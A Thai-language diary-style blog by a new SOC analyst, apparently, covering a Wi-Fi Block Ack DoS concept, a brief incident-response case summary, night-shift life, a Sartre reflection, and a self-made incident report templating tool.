เวลาที่ไวไฟจะส่งข้อมูล network frame (data ใน layer 2) มันก็จะส่งแบบ data1,2,3,4… เมื่อ data 1 ส่งไป อีกฝั่งเมื่อได้รับ 1 ก็จะ ack ขออันที่ 2 (คล้าย TCP เลย)
ส่วนที่มีปัญหาคือ 802.11n เป็นเวอร์ชั่นแรกที่เอา extension เรื่องของการทำ Block Acknowledge (การตอบ Ack แบบเป็นก้อน ๆ) เดิมทีมันใส่มาเพื่อทำให้ wifi ทำงานได้ไวขึ้น เพราะว่า ส่งไปรวดเลย data 1,2,3,4,5 อีกฝั่งก็ Ack ทีเดียวพอว่าได้รับ 1,2,3,5 แต่ไม่ได้ 4 นะ อะไรแบบนั้น (Selective ACK)
ปัญหาคือพวก hacker ก็หาทางเอาโปรโตคอลที่ออกแบบมาดี ๆ มาเป็น DOS จนได้ เช่น client A จะส่ง 1,2,3,4 ตามปกติ
Day 34
-
เรียนรู้จากกรณีศึกษา DFIR เคสภัยพิบัติอันหนึ่งที่มีการเชื่อมต่อ C2 server, สร้าง task scheduler จำนวนมากที่รัน powershell, เชื่อมต่อออกไปยัง github repository ที่รวบรวม wordlist สำหรับ path enumeration
และมีการรัน obfuscated command บน powershell ที่เชื่อมต่อไปยัง API endpoint ของ telegram (คาดว่าส่งผลลัพธ์ - ควบคุมผ่าน telegram) มีลักษณะเป็นไปได้คือ spyware ที่สามารถขโมยข้อมูลได้ หรือยกระดับเป็น RAT (remote access control) ได้
โดยต้องรอการสืบทราบกับทางลูกค้าเรื่องรายละเอียดของ user, log loss ที่เกิดขึ้นทำให้สาวหา root cause ไม่เจอว่า user นี้สร้างขึ้นด้วยวิธีไหน มีบุคคลที่ใช้ user นี้จริงหรือไม่, เหตุใดเครื่องนี้ถึงมีการสร้าง task scheduler อันตรายขนาดนี้ได้
Day 40
เนื่องจากว่าช่วงนี้ไม่ได้มีอะไรอัปเดตมาก อัปเดตที่สำคัญสุดคือผมเข้ากะมาตั้งแต่ Day 37 โดยวันที่ 40 เป็นกะกลางคืนครั้งแรก เราจะเห็นความแตกต่างระหว่างเนื้องานกลางวันกลางคืน
โดยเฉพาะกลางคืนวันหยุด ที่หน่วยงานเขาไม่ทำงานกัน เราจะเห็นแค่การโจมตี network จากต่างประเทศโดยที่พวก endpoint alert หลายหมื่นตัวไม่มีเด้งเลย (เพราะพนักงานหยุด ก็จะไม่มีเรื่องวุ่น ๆ เช่นพยายามติดตั้งโปรแกรมเถื่อน)
แต่ว่างานจะเป็นการ daily report, monthly report แทน เพราะว่า alert ค่อนข้างนิ่ง เราเลยใช้เวลาในการเขียน email, report สำหรับไว้รายงานสิ่งที่เกิดขึ้นตอนกลางวัน
ถ้าให้รีวิวชีวิตช่วงนี้คือ เราจะทำงานแบบ 4 หยุด 3 สลับกับ 3 หยุด 3 (เฉลี่ยเดือนนึงทำ 15 วัน = 180 ชั่วโมงบิน เท่างานปกติ) และเราจะล็อกวันหยุดได้ยันสิ้นปีเลย วางแผนชีวิตง่ายมาก แค่มาตามกะก็พอ โดยที่มันจะสลับกลางวันกลางคืนทุก 2 สัปดาห์
สิ่งที่ challenge ช่วงแรกคือ การนอนกลางวัน (ให้มันหลับครบ 7-8 ชม.) และตื่นกลางคืนอยู่กะให้ครบ 12 ชั่วโมง เพราะว่าพอลองทำดูแล้ว ไอ้ผ้าม่านบาง ๆ ของหอ และชั้นบนที่ renovate ไม่หยุดเนี่ยมันฝันร้ายชัด ๆ ผ้าปิดตา แอร์ 20 องศา และที่อุดหูต้องมี
กะดึกก็จะพ่วงมากับปัญหาเรื่องการนับมื้ออาหาร การวางแผนวันเดินทาง การวางแผนเที่ยวจะต้องคิดเยอะหน่อย (โดยเฉพาะอนุทินที่สั่ง delivery หลัง 3 ทุ่มไม่ได้)
รวมถึงกลางดึกมันก็ไม่มีที่ให้ไปเยอะในวันหยุด (เราจะนอนและตื่นตามเวลางานช่วงวันหยุด ไม่งั้นมัวปรับไป ๆ มา ๆ ตลอดจะตายฟรี) ทำให้ต้องมีวันที่นั่งโง่ ๆ ตอนกลางคืนให้หมดคืน ออกกำลังกายเสียงดังมากก็ไม่ได้ ห้องข้างล่างหลับหมดแล้ว ว่าง ๆ ก็แค่ไปเซเว่น, ตี๋น้อย, ร้านที่เปิด 24 (น้อยมาก) หรือขับรถตาม highway
โดยรวมแล้ว นอกจากการที่นอนน้อย ง่วงตลอด (งานเลิก 8:15 แต่ว่าหนังตาจะปิดตั้งแต่ตีสามตีสี่ ต้องฝืนอีกหลายชั่วโมง) ก็มีอีกอย่างที่น่ากลัว คือแมลงสาบ เพราะว่าพอฟ้ามืด ไม่ว่าจะเดินไปห้องน้ำ หรือว่า 7-11 ก็จะเจอแมลงสาบแน่นอน มาในรูปแบบทั้งบิน ทั้งวิ่ง
Day 45
จะมีไซต์งานลูกค้าไซต์นึงที่จำเป็นต้องอัตโนมือ report รายงานทุกเคส (TOR เจ้านี้คือเคสเปิดไม่เปิดก็ต้องรายงาน) ทำให้สมมติว่าวันนึงมีซัก 40-50 เคส ที่น่าเบื่อ ซ้ำ ๆ ก็แค่เอา template เดิมมาเปลี่ยนค่านู่นนี่นั่นนิดหน่อยและส่งไป ไม่ได้อะไร แถมเมื่อยมือมาก เราก็เลยไป vibe code เว็บที่แค่ไปก็อป info มา แล้วเดี๋ยวมันจับใส่ template ให้เอง + ดึง API จาก threat Intelligence มาคำนวนคะแนนได้ด้วย
ต้องเคลมก่อนว่า project นี้ไม่ใช้สิ่งใหม่ เพราะว่ารุ่นพี่รุ่นก่อนก็เคยทำเหมือนกัน แค่พี่แกไม่ได้ทำบริษัทนี้แล้ว เราเข้าถึง source code ไม่ได้ แถมมันไม่ค่อย auto เท่าของเรา เราก็เลยทำใหม่เลย ยกมาแค่ไอเดียพอ
- ทำเอกสาร monthly report, weekly report ของอย่างละไซต์
Day 46
ง่วงนอนเหลือเกิน หลับได้หรือไม่ จะหลับในอยู่แล้ว อีกแค่ 2 ชั่วโมงก็เช้า แต่ก็มี report ต้องส่งหลายเล่มเต็มไปหมดในคืนนี้ (monthly report แบ่งกันคนละ 9 ไซต์ในคืนนี้ ทำไปเรื่อย ๆ เดี๋ยวก็เช้า)
เรากำลังรออะไร
Jean Sarte กล่าวไว้ว่า พฤติกรรมการที่เรามีหลายความฝัน แต่ไม่ลงมือทำอะไรให้เสร็จซักอย่าง ไม่ว่าจะเป็น การที่มีป่าต้องเดิน มีรูปที่อยากฝึกวาด จนซื้อสีมาแล้วแต่แคนวาสยังว่างอยู่ มีวิดีโอเที่ยวปีก่อนที่อยากลองตัดต่อลง youtube ดูบ้าง หรือแม้แต่การที่อยากลองเรียนภาษาใหม่ แต่เรียนก็ไปได้แค่ 2 week จนนกเขียว duolingo เปลี่ยนไอคอนแล้ว
พฤติกรรมเหล่านี้จริง ๆ อาจเกิดจากจิตใจที่มองว่า หากเราเลือกทำสิ่งใด เราจะเสียโอกาสทำสิ่งอื่น เป็นการวิเคราะห์ค่าเสียโอกาสพื้นฐานที่เกิดขึ้นในจิตใต้สำนึกเรา จนทำให้เกิดความชั่งใจ
เช่น หากฉันมัวแต่เขียน Blog นี้จนถึงสามทุ่ม เดี๋ยวห้าทุ่มก็ต้องนอนแล้ว ไหนจะอาบน้ำอีกแค่จะตัดคลิปก็ไม่ทันแล้วน่ะสิ กลายเป็นว่าปัจจัยเรื่องต้องนอนเร็วตื่นไปทำงานให้ทัน จะเบียดขึ้นมาทันที เพราะว่าเราจะได้โทษสิ่งภายนอกไปก่อน เป็นเหตุให้ไม่ได้เลือกทำอะไรเลย ยังดีกว่าการเลือกผิดแล้วเสียโอกาสเอง
เมื่อจิตใจคิดแบบนี้ การอยู่ไปเฉย ๆ โดยไม่ได้เริ่มทำสิ่งที่อยากทำซักอย่าง ฟังดูจะเป็นเซฟโซนที่สุด เพราะเราเอาปัญหารอบตัวมาตัดสินใจแทนตนเอง สมองก็เลยไม่รู้สึกผิด (เขาว่างั้นนะ)
อีกเหตุผลนึง คือการที่เราไม่ตัดสินใจเลือกฝึกเล่นดนตรี เพราะแค่หวังว่าวันนึงเราจะได้สลับไปค้นพบว่าตัวเองเป็นจิตรกรที่เหมาะกับการวาดรูป เพราะมนุษย์คิดว่าตัเองอาจมีตัวตนลับ ๆ ที่รอวันเผยตัวออกมาเองโดยที่ไม่ต้องลงมือทำอะไรเลย รอไปเรื่อย ๆ เหมือนว่าเวลามันจะไม่มีวันหมดลง
แต่ Jean Sarte เห็นตรงข้าม เขาบอกว่ามนุษย์ส่วนใหญ่ไม่รู้หรอกว่าตัวตนเราคืออะไร แต่พฤติกรรมของเราต่างหากที่ shape ตัวตนในอนาคตของเรา การที่เรารออยู่เฉย ๆ วันนี้ ในอนาคตก็เป็นไปได้สูงที่เราจะนั่งเฉย ๆ เพื่อรอความเป็นไปได้ต่อไป
ทั้งนี้ ไม่ได้ตัดสินว่าควรทำสิ่งใด หรือไม่ควรทำ ทั้งหมดเป็นแค่การพยายามอธิบายพฤติกรรมมนุษย์เท่านั้นเอง
Day 64
- ชินแล้วกับการเข้ากะ ตอนนี้สามารถเข้าใจ workflow และทำงานส่วนใหญ่เพื่อแบ่ง workload รุ่นพี่ได้ (10 ไซต์ ++ บางไซต์ก็งานเยอะ บางไซต์ก็มาเป็นรอบ ดูแค่ครั้งเดียวต่อวัน) นอกจาก skill cyber ตอนนี้ก็ได้ skill words, excel มาด้วย
- ตอนนี้ project template ของผมสามารถ cover incident เฉลี่ยทั้งสัปดาห์ได้ 42% โดยแค่ copy-paste ข้อมูลจาก XSOAR,XDR ไปลงมันก็ parse text ลงรายงานให้เลย (อันไหนต้อง check IOC, IP reputation มันก็เรียก API ให้พร้อมถูกต้องรวดเร็ว) ซึ่งที่เหลือคือพวกเคสที่ไม่ซ้ำ - เคสยากต้อง triage ซับซ้อน
- มี template ทั่วไปมากกว่า 28 รายการ และ template เฉพาะกิจอีกจำนวนหนึ่ง
- จริง ๆ มันแทบจะ copy paste ได้เลย (ระบบที่องค์กรใช้ ไม่สามารถต่อ API ออกมาได้ และถ้าจะทำ workflow ต้องให้พี่ L2 ทำ ไม่อยากไปวุ่ยวายพี่เขา)
- จุดที่เราขาดคือ เรามี Threat Intelligence ภายนอกที่มี API ครบและฟรี เช่น Virustotal, Abuseipdb ฯลฯ แต่เรายังขาด Score ฝั่ง IBM-x force exchange ซึ่งไม่ฟรีแล้ว และคุมหน้าเว็บหนาแน่นด้วย เอา bot ไปดึงอาจจะไม่คุ้มโดนแบน
Comments